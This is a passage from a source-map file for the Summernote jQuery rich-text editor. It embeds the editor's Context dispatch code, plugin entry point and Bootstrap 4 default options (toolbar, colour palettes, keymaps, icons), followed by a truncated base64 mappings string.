= obj;\n  }\n\n  removeMemo(key) {\n    if (this.memos[key] && this.memos[key].destroy) {\n      this.memos[key].destroy();\n    }\n\n    delete this.memos[key];\n  }\n\n  /**\n   * Some buttons need to change their visual style immediately once they get pressed\n   */\n  createInvokeHandlerAndUpdateState(namespace, value) {\n    return (event) => {\n      this.createInvokeHandler(namespace, value)(event);\n      this.invoke('buttons.updateCurrentStyle');\n    };\n  }\n\n  createInvokeHandler(namespace, value) {\n    return (event) => {\n      event.preventDefault();\n      const $target = $(event.target);\n      this.invoke(namespace, value || $target.closest('[data-value]').data('value'), $target);\n    };\n  }\n\n  invoke() {\n    const namespace = lists.head(arguments);\n    const args = lists.tail(lists.from(arguments));\n\n    const splits = namespace.split('.');\n    const hasSeparator = splits.length > 1;\n    const moduleName = hasSeparator && lists.head(splits);\n    const methodName = hasSeparator ? lists.last(splits) : lists.head(splits);\n\n    const module = this.modules[moduleName || 'editor'];\n    if (!moduleName && this[methodName]) {\n      return this[methodName].apply(this, args);\n    } else if (module && module[methodName] && module.shouldInitialize()) {\n      return module[methodName].apply(module, args);\n    }\n  }\n}\n","import $ from 'jquery';\nimport env from './base/core/env';\nimport lists from './base/core/lists';\nimport Context from './base/Context';\n\n$.fn.extend({\n  /**\n   * Summernote API\n   *\n   * @param {Object|String}\n   * @return {this}\n   */\n  summernote: function() {\n    const type = $.type(lists.head(arguments));\n    const isExternalAPICalled = type === 'string';\n    const hasInitOptions = type === 'object';\n\n    const options = $.extend({}, $.summernote.options, hasInitOptions ? lists.head(arguments) : {});\n\n    // Update options\n    options.langInfo = $.extend(true, {}, $.summernote.lang['en-US'], $.summernote.lang[options.lang]);\n    options.icons = $.extend(true, {}, $.summernote.options.icons, options.icons);\n    options.tooltip = options.tooltip === 'auto' ? !env.isSupportTouch : options.tooltip;\n\n    this.each((idx, note) => {\n      const $note = $(note);\n      if (!$note.data('summernote')) {\n        const context = new Context($note, options);\n        $note.data('summernote', context);\n        $note.data('summernote').triggerEvent('init', context.layoutInfo);\n      }\n    });\n\n    const $note = this.first();\n    if ($note.length) {\n      const context = $note.data('summernote');\n      if (isExternalAPICalled) {\n        return context.invoke.apply(context, lists.from(arguments));\n      } else if (options.focus) {\n        context.invoke('editor.focus');\n      }\n    }\n\n    return this;\n  }\n});\n","import $ from 'jquery';\nimport ui from '../bs4/ui';\nimport dom from '../base/core/dom';\nimport '../base/summernote-en-US';\nimport Editor from '../base/module/Editor';\nimport Clipboard from '../base/module/Clipboard';\nimport Dropzone from '../base/module/Dropzone';\nimport Codeview from '../base/module/Codeview';\nimport Statusbar from '../base/module/Statusbar';\nimport Fullscreen from '../base/module/Fullscreen';\nimport Handle from '../base/module/Handle';\nimport AutoLink from '../base/module/AutoLink';\nimport AutoSync from '../base/module/AutoSync';\nimport Placeholder from '../base/module/Placeholder';\nimport Buttons from '../base/module/Buttons';\nimport Toolbar from '../base/module/Toolbar';\nimport LinkDialog from '../base/module/LinkDialog';\nimport LinkPopover from '../base/module/LinkPopover';\nimport ImageDialog from '../base/module/ImageDialog';\nimport ImagePopover from '../base/module/ImagePopover';\nimport TablePopover from '../base/module/TablePopover';\nimport VideoDialog from '../base/module/VideoDialog';\nimport HelpDialog from '../base/module/HelpDialog';\nimport AirPopover from '../base/module/AirPopover';\nimport HintPopover from '../base/module/HintPopover';\n\n$.summernote = $.extend($.summernote, {\n  version: '@@VERSION@@',\n  ui: ui,\n  dom: dom,\n\n  plugins: {},\n\n  options: {\n    modules: {\n      'editor': Editor,\n      'clipboard': Clipboard,\n      'dropzone': Dropzone,\n      'codeview': Codeview,\n      'statusbar': Statusbar,\n      'fullscreen': Fullscreen,\n      'handle': Handle,\n      // FIXME: HintPopover must be front of autolink\n      //  - Script error about range when Enter key is pressed on hint popover\n      'hintPopover': HintPopover,\n      'autoLink': AutoLink,\n      'autoSync': AutoSync,\n      'placeholder': Placeholder,\n      'buttons': Buttons,\n      'toolbar': Toolbar,\n      'linkDialog': LinkDialog,\n      'linkPopover': LinkPopover,\n      'imageDialog': ImageDialog,\n      'imagePopover': ImagePopover,\n      'tablePopover': TablePopover,\n      'videoDialog': VideoDialog,\n      'helpDialog': HelpDialog,\n      'airPopover': AirPopover\n    },\n\n    buttons: {},\n\n    lang: 'en-US',\n\n    followingToolbar: true,\n    otherStaticBar: '',\n\n    // toolbar\n    toolbar: [\n      ['style', ['style']],\n      ['font', ['bold', 'underline', 'clear']],\n      ['fontname', ['fontname']],\n      ['color', ['color']],\n      ['para', ['ul', 'ol', 'paragraph']],\n      ['table', ['table']],\n      ['insert', ['link', 'picture', 'video']],\n      ['view', ['fullscreen', 'codeview', 'help']]\n    ],\n\n    // popover\n    popatmouse: true,\n    popover: {\n      image: [\n        ['imagesize', ['imageSize100', 'imageSize50', 'imageSize25']],\n        ['float', ['floatLeft', 'floatRight', 'floatNone']],\n        ['remove', ['removeMedia']]\n      ],\n      link: [\n        ['link', ['linkDialogShow', 'unlink']]\n      ],\n      table: [\n        ['add', ['addRowDown', 'addRowUp', 'addColLeft', 'addColRight']],\n        ['delete', ['deleteRow', 'deleteCol', 'deleteTable']]\n      ],\n      air: [\n        ['color', ['color']],\n        ['font', ['bold', 'underline', 'clear']],\n        ['para', ['ul', 'paragraph']],\n        ['table', ['table']],\n        ['insert', ['link', 'picture']]\n      ]\n    },\n\n    // air mode: inline editor\n    airMode: false,\n\n    width: null,\n    height: null,\n    linkTargetBlank: true,\n\n    focus: false,\n    tabSize: 4,\n    styleWithSpan: true,\n    shortcuts: true,\n    textareaAutoSync: true,\n    hintDirection: 'bottom',\n    tooltip: 'auto',\n    container: 'body',\n    maxTextLength: 0,\n\n    styleTags: [\n      'p',\n      { title: 'Blockquote', tag: 'blockquote', className: 'blockquote', value: 'blockquote' },\n      'h1', 'h2', 'h3', 'h4', 'h5', 'h6'\n    ],\n\n    fontNames: [\n      'Arial', 'Arial Black', 'Comic Sans MS', 'Courier New',\n      'Helvetica Neue', 'Helvetica', 'Impact', 'Lucida Grande',\n      'Tahoma', 'Times New Roman', 'Verdana'\n    ],\n\n    fontSizes: ['8', '9', '10', '11', '12', '14', '18', '24', '36'],\n\n    // pallete colors(n x n)\n    colors: [\n      ['#000000', '#424242', '#636363', '#9C9C94', '#CEC6CE', '#EFEFEF', '#F7F7F7', '#FFFFFF'],\n      ['#FF0000', '#FF9C00', '#FFFF00', '#00FF00', '#00FFFF', '#0000FF', '#9C00FF', '#FF00FF'],\n      ['#F7C6CE', '#FFE7CE', '#FFEFC6', '#D6EFD6', '#CEDEE7', '#CEE7F7', '#D6D6E7', '#E7D6DE'],\n      ['#E79C9C', '#FFC69C', '#FFE79C', '#B5D6A5', '#A5C6CE', '#9CC6EF', '#B5A5D6', '#D6A5BD'],\n      ['#E76363', '#F7AD6B', '#FFD663', '#94BD7B', '#73A5AD', '#6BADDE', '#8C7BC6', '#C67BA5'],\n      ['#CE0000', '#E79439', '#EFC631', '#6BA54A', '#4A7B8C', '#3984C6', '#634AA5', '#A54A7B'],\n      ['#9C0000', '#B56308', '#BD9400', '#397B21', '#104A5A', '#085294', '#311873', '#731842'],\n      ['#630000', '#7B3900', '#846300', '#295218', '#083139', '#003163', '#21104A', '#4A1031']\n    ],\n\n    // http://chir.ag/projects/name-that-color/\n    colorsName: [\n      ['Black', 'Tundora', 'Dove Gray', 'Star Dust', 'Pale Slate', 'Gallery', 'Alabaster', 'White'],\n      ['Red', 'Orange Peel', 'Yellow', 'Green', 'Cyan', 'Blue', 'Electric Violet', 'Magenta'],\n      ['Azalea', 'Karry', 'Egg White', 'Zanah', 'Botticelli', 'Tropical Blue', 'Mischka', 'Twilight'],\n      ['Tonys Pink', 'Peach Orange', 'Cream Brulee', 'Sprout', 'Casper', 'Perano', 'Cold Purple', 'Careys Pink'],\n      ['Mandy', 'Rajah', 'Dandelion', 'Olivine', 'Gulf Stream', 'Viking', 'Blue Marguerite', 'Puce'],\n      ['Guardsman Red', 'Fire Bush', 'Golden Dream', 'Chelsea Cucumber', 'Smalt Blue', 'Boston Blue', 'Butterfly Bush', 'Cadillac'],\n      ['Sangria', 'Mai Tai', 'Buddha Gold', 'Forest Green', 'Eden', 'Venice Blue', 'Meteorite', 'Claret'],\n      ['Rosewood', 'Cinnamon', 'Olive', 'Parsley', 'Tiber', 'Midnight Blue', 'Valentino', 'Loulou']\n    ],\n\n    lineHeights: ['1.0', '1.2', '1.4', '1.5', '1.6', '1.8', '2.0', '3.0'],\n\n    tableClassName: 'table table-bordered',\n\n    insertTableMaxSize: {\n      col: 10,\n      row: 10\n    },\n\n    dialogsInBody: false,\n    dialogsFade: false,\n\n    maximumImageFileSize: null,\n\n    callbacks: {\n      onInit: null,\n      onFocus: null,\n      onBlur: null,\n      onBlurCodeview: null,\n      onEnter: null,\n      onKeyup: null,\n      onKeydown: null,\n      onImageUpload: null,\n      onImageUploadError: null\n    },\n\n    codemirror: {\n      mode: 'text/html',\n      htmlMode: true,\n      lineNumbers: true\n    },\n\n    keyMap: {\n      pc: {\n        'ENTER': 'insertParagraph',\n        'CTRL+Z': 'undo',\n        'CTRL+Y': 'redo',\n        'TAB': 'tab',\n        'SHIFT+TAB': 'untab',\n        'CTRL+B': 'bold',\n        'CTRL+I': 'italic',\n        'CTRL+U': 'underline',\n        'CTRL+SHIFT+S': 'strikethrough',\n        'CTRL+BACKSLASH': 'removeFormat',\n        'CTRL+SHIFT+L': 'justifyLeft',\n        'CTRL+SHIFT+E': 'justifyCenter',\n        'CTRL+SHIFT+R': 'justifyRight',\n        'CTRL+SHIFT+J': 'justifyFull',\n        'CTRL+SHIFT+NUM7': 'insertUnorderedList',\n        'CTRL+SHIFT+NUM8': 'insertOrderedList',\n        'CTRL+LEFTBRACKET': 'outdent',\n        'CTRL+RIGHTBRACKET': 'indent',\n        'CTRL+NUM0': 'formatPara',\n        'CTRL+NUM1': 'formatH1',\n        'CTRL+NUM2': 'formatH2',\n        'CTRL+NUM3': 'formatH3',\n        'CTRL+NUM4': 'formatH4',\n        'CTRL+NUM5': 'formatH5',\n        'CTRL+NUM6': 'formatH6',\n        'CTRL+ENTER': 'insertHorizontalRule',\n        'CTRL+K': 'linkDialog.show'\n      },\n\n      mac: {\n        'ENTER': 'insertParagraph',\n        'CMD+Z': 'undo',\n        'CMD+SHIFT+Z': 'redo',\n        'TAB': 'tab',\n        'SHIFT+TAB': 'untab',\n        'CMD+B': 'bold',\n        'CMD+I': 'italic',\n        'CMD+U': 'underline',\n        'CMD+SHIFT+S': 'strikethrough',\n        'CMD+BACKSLASH': 'removeFormat',\n        'CMD+SHIFT+L': 'justifyLeft',\n        'CMD+SHIFT+E': 'justifyCenter',\n        'CMD+SHIFT+R': 'justifyRight',\n        'CMD+SHIFT+J': 'justifyFull',\n        'CMD+SHIFT+NUM7': 'insertUnorderedList',\n        'CMD+SHIFT+NUM8': 'insertOrderedList',\n        'CMD+LEFTBRACKET': 'outdent',\n        'CMD+RIGHTBRACKET': 'indent',\n        'CMD+NUM0': 'formatPara',\n        'CMD+NUM1': 'formatH1',\n        'CMD+NUM2': 'formatH2',\n        'CMD+NUM3': 'formatH3',\n        'CMD+NUM4': 'formatH4',\n        'CMD+NUM5': 'formatH5',\n        'CMD+NUM6': 'formatH6',\n        'CMD+ENTER': 'insertHorizontalRule',\n        'CMD+K': 'linkDialog.show'\n      }\n    },\n    icons: {\n      'align': 'note-icon-align',\n      'alignCenter': 'note-icon-align-center',\n      'alignJustify': 'note-icon-align-justify',\n      'alignLeft': 'note-icon-align-left',\n      'alignRight': 'note-icon-align-right',\n      'rowBelow': 'note-icon-row-below',\n      'colBefore': 'note-icon-col-before',\n      'colAfter': 'note-icon-col-after',\n      'rowAbove': 'note-icon-row-above',\n      'rowRemove': 'note-icon-row-remove',\n      'colRemove': 'note-icon-col-remove',\n      'indent': 'note-icon-align-indent',\n      'outdent': 'note-icon-align-outdent',\n      'arrowsAlt': 'note-icon-arrows-alt',\n      'bold': 'note-icon-bold',\n      'caret': 'note-icon-caret',\n      'circle': 'note-icon-circle',\n      'close': 'note-icon-close',\n      'code': 'note-icon-code',\n      'eraser': 'note-icon-eraser',\n      'font': 'note-icon-font',\n      'frame': 'note-icon-frame',\n      'italic': 'note-icon-italic',\n      'link': 'note-icon-link',\n      'unlink': 'note-icon-chain-broken',\n      'magic': 'note-icon-magic',\n      'menuCheck': 'note-icon-menu-check',\n      'minus': 'note-icon-minus',\n      'orderedlist': 'note-icon-orderedlist',\n      'pencil': 'note-icon-pencil',\n      'picture': 'note-icon-picture',\n      'question': 'note-icon-question',\n      'redo': 'note-icon-redo',\n      'square': 'note-icon-square',\n      'strikethrough': 'note-icon-strikethrough',\n      'subscript': 'note-icon-subscript',\n      'superscript': 'note-icon-superscript',\n      'table': 'note-icon-table',\n      'textHeight': 'note-icon-text-height',\n      'trash': 'note-icon-trash',\n      'underline': 'note-icon-underline',\n      'undo': 'note-icon-undo',\n      'unorderedlist': 'note-icon-unorderedlist',\n      'video': 'note-icon-video'\n    }\n  }\n});\n\nimport '../summernote'; // eslint-disable-line\n"],"names":["$","Codeview"],"mappings":"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